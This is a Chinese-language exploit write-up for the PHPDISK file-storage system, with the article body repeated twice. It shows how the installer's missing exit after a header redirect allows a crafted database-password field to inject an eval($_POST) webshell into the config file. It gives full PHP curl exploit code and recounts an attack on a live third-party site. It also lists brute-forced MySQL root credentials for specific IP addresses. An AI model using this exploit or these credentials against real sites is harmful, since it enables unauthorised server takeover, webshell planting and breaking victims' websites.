phpdisk 漏洞發(fā)布 phpdisk header bypass & getShell exp解析
發(fā)布時(shí)間:2012-06-27 14:25:13 作者:佚名
我要評論
PHPDISK網(wǎng)盤系統(tǒng)是國內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(文件存儲(chǔ)管理)系統(tǒng),筆者對其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東
Author:Yaseng Team:CodePlay
1:代碼審計(jì)
PHPDISK網(wǎng)盤系統(tǒng)是國內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(文件存儲(chǔ)管理)系統(tǒng),筆者對其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..

圖一
圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過去,再來看這個(gè)文件 。

圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處
$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫入配置文件configs.inc.php,可以利用之,繼續(xù)目測之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫入木馬了。
2:漏洞利用& getShell 方法
查找寫入配置的地方
$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫信息直接退出哦了,看來不能亂寫了,只能在dbpasswd 上面下功夫。
首先yy一下system 下的configs.inc.php 文件
'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
由于沒有萬惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
此時(shí)需要post的 數(shù)據(jù)包為:
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
當(dāng)數(shù)據(jù)庫信息正確時(shí),成功寫入一句話木馬.

圖四
成功寫入shell
3:getShell exp 編寫
結(jié)束yy,我們來用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測是否getShell ,具體代碼如下(完整exp 見附件)。
$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}
4:實(shí)戰(zhàn)演示
其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測沒什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root root123456

隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請大家自行更換可外鏈的mysql)
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
Php命令行下執(zhí)行php phpdisk.php

Done,成功寫入,菜刀連接。

Ko ?。?!
4:總結(jié)
本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過的典型文章,php函數(shù)使用強(qiáng)大而簡單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類的危險(xiǎn)函數(shù),以免被非法利用。
1:代碼審計(jì)
PHPDISK網(wǎng)盤系統(tǒng)是國內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(文件存儲(chǔ)管理)系統(tǒng),筆者對其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..

圖一
圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過去,再來看這個(gè)文件 。

圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處
復(fù)制代碼
代碼如下:$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫入配置文件configs.inc.php,可以利用之,繼續(xù)目測之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫入木馬了。
2:漏洞利用& getShell 方法
查找寫入配置的地方
復(fù)制代碼
代碼如下:$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫信息直接退出哦了,看來不能亂寫了,只能在dbpasswd 上面下功夫。
首先yy一下system 下的configs.inc.php 文件
'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
由于沒有萬惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
此時(shí)需要post的 數(shù)據(jù)包為:
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
當(dāng)數(shù)據(jù)庫信息正確時(shí),成功寫入一句話木馬.

圖四
成功寫入shell
3:getShell exp 編寫
結(jié)束yy,我們來用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測是否getShell ,具體代碼如下(完整exp 見附件)。
復(fù)制代碼
代碼如下:$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}
4:實(shí)戰(zhàn)演示
其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測沒什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root root123456

隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請大家自行更換可外鏈的mysql)
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
Php命令行下執(zhí)行php phpdisk.php

Done,成功寫入,菜刀連接。

Ko ?。?!
4:總結(jié)
本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過的典型文章,php函數(shù)使用強(qiáng)大而簡單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類的危險(xiǎn)函數(shù),以免被非法利用。
相關(guān)文章

2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過遠(yuǎn)程桌面端口332021-07-25
寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24
CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21
2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11
漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12





